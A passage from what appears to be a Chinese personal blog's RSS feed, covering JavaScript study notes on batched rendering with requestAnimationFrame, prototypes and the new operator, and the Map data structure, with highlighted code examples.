</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">keys</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">batchSize</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span> <span class="c1">// 每批处理的数据量
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kd">let</span> <span class="nx">currentIndex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">processBatch</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">batchKeys</span> <span class="o">=</span> <span class="nx">keys</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">currentIndex</span><span class="p">,</span> <span class="nx">currentIndex</span> <span class="o">+</span> <span class="nx">batchSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">batchItems</span> <span class="o">=</span> <span class="nx">batchKeys</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">key</span><span class="p">)</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">tableData</span> <span class="o">=</span> <span class="nx">data</span><span class="p">[</span><span class="nx">key</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">parentId</span> <span class="o">=</span> <span class="sb">`$ {key}. * `</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">childItems</span> <span class="o">=</span> <span class="nx">tableData</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">)</span> <span class="o">=</span> <span class="o">&gt;</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">               <span class="nx">id</span><span class="o">:</span> <span class="sb">`$ {key}.$ {item}`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="nx">label</span><span class="o">:</span> <span class="sb">`$ {key}.$ {item}`</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="nx">parent</span><span class="o">:</span> <span class="nx">parentId</span>
</span></span><span class="line"><span class="cl">            <span class="p">}));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="p">[{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">id</span><span class="o">:</span> <span class="nx">parentId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nx">label</span><span class="o">:</span> <span class="nx">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="nx">children</span><span class="o">:</span> <span class="nx">childItems</span>
</span></span><span class="line"><span class="cl">            <span class="p">}];</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">arr</span><span class="p">.</span><span class="nx">push</span><span class="p">(...</span><span class="nx">batchItems</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">currentIndex</span> <span class="o">+=</span> <span class="nx">batchSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">currentIndex</span> <span class="o">&lt;</span> <span class="nx">keys</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">processBatch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">this</span><span class="p">.</span><span class="nx">finishProcessing</span><span class="p">(</span><span class="nx">arr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">arr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">processBatch</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">finishProcessing</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="c1">//finish operate
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">},</span>
</span></span></code></pre></div><ul>
<li>好处:
<ul>
<li>如果一项任务执行花费的时间过长，浏览器将无法执行其他任务，例如处理用户事件。这样就会让用户觉得卡顿</li>
<li>可以显示进度指示</li>
</ul>
</li>
<li>思路二:
<ul>
<li>对于不应该阻塞事件循环的耗时长的繁重计算任务，我们可以使用 Web Workers。</li>
<li>Web Workers 可以与主线程交换消息，但是它们具有自己的变量和事件循环。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://czkm.github.io/2023/11/13/%E5%BC%80%E6%BA%90%E7%BB%84%E4%BB%B6%E7%9A%84%E5%AE%9A%E5%88%B6%E5%8C%96%E4%BF%AE%E6%94%B9%E5%8F%8A%E4%BC%98%E5%8C%96%E8%BF%87%E7%A8%8B%E8%AE%B0%E5%BD%95/"  target="_blank" rel="noopener" >开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog</a></li>
</ul>
</li>
</ul>
<h3 id="项目中的分片上传如何实现的">项目中的分片上传，如何实现的？</h3>
<p>wip</p>
<h3 id="怎么做到组件的按需引入">怎么做到组件的按需引入</h3>
<ul>
<li>treeshaking</li>
</ul>
<h3 id="优化图片加载闪烁">优化图片加载闪烁</h3>
<ul>
<li>参考: <a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之原型</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_protype/</link>
      <pubDate>Mon, 30 Sep 2024 22:56:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_protype/</guid>
      <description>自己学习过程中整理的关于JavaScript中原型的知识点</description>
      <content:encoded><![CDATA[<h2 id="proto">proto</h2>
<h3 id="概念">概念</h3>
<ul>
<li><code>__proto__</code> 是<strong>每个JavaScript对象都具有</strong>的一个属性，它指向该对象的原型（prototype）。原型链的实现就是通过 <code>__proto__</code> 实现的。</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>当访问对象的属性或方法时，如果对象本身没有定义，JavaScript 就会沿着原型链（通过 <code>__proto__</code>）向上查找，直到找到匹配的属性或方法或者到达原型链的顶端（Object.prototype）为止。</li>
</ul>
<h3 id="慎用">慎用</h3>
<ul>
<li><code>__proto__</code> 是<code>[[Prototype]]</code>的因历史原因而留下来的 getter/setter</li>
<li>尽管 <code>__proto__</code> 在历史上被广泛使用，但它在 ECMAScript 6 中被标记为过时</li>
<li>推荐使用 <code>Object.getPrototypeOf()</code> 和 <code>Object.setPrototypeOf()</code> 来访问和设置对象的原型。</li>
</ul>
<hr>
<h2 id="prototype">prototype</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li><code>.prototype</code> 是<strong>函数对象特有</strong>的属性。每个函数对象都有一个<code>.prototype</code>属性，它指向一个对象。这个对象被称为该函数的原型对象。</li>
<li>当使用 <code>new</code> 操作符来创建一个实例时，JavaScript 会将实例的<code>[[Prototype]]</code>属性指向该函数的<code>.prototype</code>所指向的对象，从而实现原型继承。</li>
<li>默认的 &ldquo;prototype&rdquo; 是一个只有属性 constructor 的对象，属性 constructor 指向函数自身。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Rabbit</span><span class="p">()</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/* 默认的 prototype
</span></span></span><span class="line"><span class="cl"><span class="cm">Rabbit.prototype = { constructor: Rabbit };
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="作用-1">作用</h3>
<ul>
<li><code>.prototype</code> 属性主要用于定义构造函数的原型对象，它包含了实例共享的方法和属性。</li>
<li>通过在构造函数的 <code>.prototype</code> 对象上添加属性和方法，可以让所有通过该构造函数创建的实例共享这些属性和方法。</li>
<li>F.prototype 属性仅在 new F 被调用时使用，如果在创建之后，F.prototype 属性有了变化（<code>F.prototype = &lt;another object&gt;</code>），那么通过<code>new F</code>创建的新对象也将随之拥有新的对象作为<code>[[Prototype]]</code>，但已经存在的对象将保持旧有的值。</li>
</ul>
<h3 id="示例">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">a</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">a</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">t</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">a</span><span class="p">();</span> <span class="c1">//创建一个新的实例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span> <span class="c1">//2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">a</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">//3
</span></span></span></code></pre></div><h3 id="补充">补充</h3>
<ul>
<li>箭头函数没有 prototype 属性</li>
</ul>
<hr>
<h2 id="new">new</h2>
<h3 id="定义">定义</h3>
<ul>
<li>new 运算符创建一个<strong>用户定义的对象类型</strong>的实例或<strong>具有构造函数的内置对象</strong>的实例。 ——（来自于MDN）</li>
<li>不可以使用 <code>new Symbol()</code>，因为 symbol 是基本数据类型，每个从Symbol()返回的 symbol 值都是唯一的。</li>
</ul>
<h3 id="工作原理">工作原理</h3>
<p>当使用<code>new</code>调用构造函数时，会发生以下步骤：</p>
<ol>
<li>创建一个新的空对象。</li>
<li>将这个新对象的<code>__proto__</code>链接到构造函数的<code>prototype</code>属性上，建立原型继承关系。</li>
<li>执行构造函数，将<code>this</code>绑定到新创建的对象上，允许修改该对象的属性。</li>
<li>如果构造函数没有返回对象，则默认返回创建的对象。</li>
</ol>
<h3 id="简单实现">简单实现</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">constructor</span><span class="p">,</span> <span class="p">...</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// 1. 创建一个空对象，并将其原型链链接到构造函数的 prototype
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 2. 执行构造函数，并将 `this` 绑定到新对象上
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">constructor</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 3. 如果构造函数返回的是对象类型，则返回该对象；否则返回新创建的对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="nx">result</span> <span class="k">instanceof</span> <span class="nb">Object</span> <span class="o">?</span> <span class="nx">result</span> <span class="o">:</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 测试用例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">Car</span><span class="p">(</span><span class="nx">color</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="nx">color</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">Car</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">start</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">color</span> <span class="o">+</span> <span class="s2">&#34; car start&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">car</span> <span class="o">=</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">Car</span><span class="p">,</span> <span class="s2">&#34;black&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">car</span><span class="p">.</span><span class="nx">color</span><span class="p">;</span> <span class="c1">// black
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">car</span><span class="p">.</span><span class="nx">start</span><span class="p">();</span> <span class="c1">// black car start
</span></span></span></code></pre></div><h3 id="代码输出题">代码输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Function</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">F</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">f</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">F</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">F</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span> <span class="c1">// 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">F</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span> <span class="c1">//undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">f</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">);</span> <span class="c1">//{}
</span></span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://muyiy.cn/blog/3/3.5.html"  target="_blank" rel="noopener" >深度解析 new 原理及模拟实现 | 木易杨前端进阶</a></li>
</ul>
<hr>
<h2 id="原型原型链和实例的关系">原型，原型链和实例的关系</h2>
<h3 id="原型链prototype-chain">原型链（prototype chain）</h3>
<ul>
<li>在 JavaScript 中，每个对象都有一个指向其原型的链接，这个链接被称为原型链。</li>
<li>当尝试访问对象的属性或方法时，如果该对象本身没有这个属性或方法，JavaScript 引擎会沿着原型链向上查找，直到找到对应的属性或方法，或者查找到达原型链的末端（Object.prototype）。</li>
</ul>
<h3 id="实例-instance">实例 (instance)</h3>
<ul>
<li>根据某个类或构造函数创建的具体对象</li>
<li>当实例化一个类时，你创建了一个新的对象，该对象继承了类的属性和方法，同时拥有了自己的状态和行为。每个实例都是独立的，它们之间的状态和行为互不影响。</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Fn</span><span class="p">()</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">)</span> <span class="c1">// {}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">add</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">this</span><span class="p">.</span><span class="nx">count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`this.count: </span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">Fn</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">fn1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Fn</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn1</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">fn1</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">fn2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Fn</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn2</span><span class="p">.</span><span class="nx">add</span><span class="p">();</span> <span class="c1">//3
</span></span></span></code></pre></div></li>
</ul>
<h3 id="原型链的性能">原型链的性能</h3>
<p>在现代引擎中，从性能的角度来看，我们是从对象还是从原型链获取属性都是没区别的。它们（引擎）会记住在哪里找到的该属性，并在下一次请求中重用它。</p>
<p>例如，对于 pockets.glasses 来说，它们（引擎）会记得在哪里找到的 glasses（在 head 中），这样下次就会直接在这个位置进行搜索。并且引擎足够聪明，一旦有内容更改，它们就会自动更新内部缓存，因此，该优化是安全的。</p>
<hr>
<h2 id="原生原型">原生原型</h2>
<ul>
<li>内建对象，像 Array、Date、Function 及其他，都在 prototype 上挂载了方法。</li>
<li>在现代编程中，只有一种情况下允许修改原生原型。那就是 polyfilling。</li>
</ul>
<h2 id="使用给定的原型创建对象">使用给定的原型创建对象</h2>
<h3 id="字面量语法">字面量语法</h3>
<h3 id="objectcreate">Object.create</h3>
<ul>
<li><code>Object.create(proto, [descriptors])</code></li>
<li>浅拷贝对象及其所有属性描述符（descriptors）</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">clone</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyDescriptors</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>
</span></span></code></pre></div><h2 id="参考-1">参考</h2>
<ul>
<li><a href="https://zh.javascript.info/prototype-inheritance"  target="_blank" rel="noopener" >原型继承</a></li>
<li><a href="https://zh.javascript.info/function-prototype"  target="_blank" rel="noopener" >F.prototype</a></li>
<li><a href="https://zh.javascript.info/native-prototypes"  target="_blank" rel="noopener" >原生的原型</a></li>
<li><a href="https://zh.javascript.info/prototype-methods"  target="_blank" rel="noopener" >原型方法，没有proto的对象</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之映射与集合</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_map_and_set/</link>
      <pubDate>Sat, 28 Sep 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_map_and_set/</guid>
      <description>自己学习过程中整理的关于JavaScript中映射与集合的知识点</description>
      <content:encoded><![CDATA[<h2 id="map">Map</h2>
<h3 id="概念">概念</h3>
<ul>
<li>是一个带键的数据项的集合</li>
<li>允许任何类型的键（key）</li>
</ul>
<h3 id="常用方法">常用方法</h3>
<ul>
<li>new Map() —— 创建 map。</li>
<li>map.set(key, value) —— 根据键存储值。</li>
<li>map.get(key) —— 根据键来返回值，如果 map 中不存在对应的 key，则返回 undefined。</li>
<li>map.has(key) —— 如果 key 存在则返回 true，否则返回 false。</li>
<li>map.delete(key) —— 删除指定键的值。</li>
<li>map.clear() —— 清空 map。</li>
<li>map.size —— 返回当前元素个数。</li>
</ul>
<h3 id="迭代">迭代</h3>
<ul>
<li>迭代的顺序与插入值的顺序相同。与普通的 Object 不同，Map 保留了此顺序。</li>
<li>map.keys() —— 遍历并返回一个包含所有键的可迭代对象，</li>
<li>map.values() —— 遍历并返回一个包含所有值的可迭代对象，</li>
<li>map.entries() —— 遍历并返回一个包含所有实体 [key, value] 的可迭代对象，for..of 在默认情况下使用的就是这个。</li>
<li><code>map.forEach((value,key,map)=&gt;{})</code></li>
</ul>
<h3 id="map-是怎么比较键的">Map 是怎么比较键的？</h3>
<p>Map 使用 <a href="https://tc39.es/ecma262/#sec-samevaluezero"  target="_blank" rel="noopener" >SameValueZero</a> 算法来比较键是否相等。它和严格等于 === 差不多，但区别是 NaN 被看成是等于 NaN。所以 NaN 也可以被用作键。这个算法不能被改变或者自定义。</p>
<h3 id="map和object的区别">Map和Object的区别</h3>
<ul>
<li>Map可以支持任意JS数据类型作为键名，而Object只能是数值、字符串或者符号</li>
<li>内存占用： 不同浏览器下情况不同，Map大约比Object多存储50%的键值对</li>
<li>插入性能： 插入速度都不会因为键值对的数量进行线性增加，但对于大量插入操作，Map的性能更佳。</li>
<li>查找速度： 如果是少量的键值对，Object的速度更快</li>
<li>删除性能： Map在大多数浏览器引擎中删除操作较快</li>
</ul>
<h3 id="初始化">初始化</h3>
<ul>
<li>传入一个带有键值对的数组（或其它可迭代对象）来进行初始化</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 键值对 [key, value] 数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="s1">&#39;1&#39;</span><span class="p">,</span>  <span class="s1">&#39;str1&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="mi">1</span><span class="p">,</span>    <span class="s1">&#39;num1&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="kc">true</span><span class="p">,</span> <span class="s1">&#39;bool1&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span> <span class="nx">map</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;1&#39;</span><span class="p">)</span> <span class="p">);</span> <span class="c1">// str1
</span></span></span></code></pre></div><ul>
<li>使用Object.entries：从对象创建 Map
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;John&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">age</span><span class="o">:</span> <span class="mi">30</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">entries</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span> <span class="nx">map</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;name&#39;</span><span class="p">)</span> <span class="p">);</span> <span class="c1">// John
</span></span></span></code></pre></div></li>
<li>反过来，使用Object.fromEntries：从 Map 创建对象
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;banana&#39;</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;orange&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">map</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;meat&#39;</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">fromEntries</span><span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">entries</span><span class="p">());</span> <span class="c1">// 创建一个普通对象（plain object）(*)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//可以更短
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// let obj = Object.fromEntries(map); // 省掉 .entries()
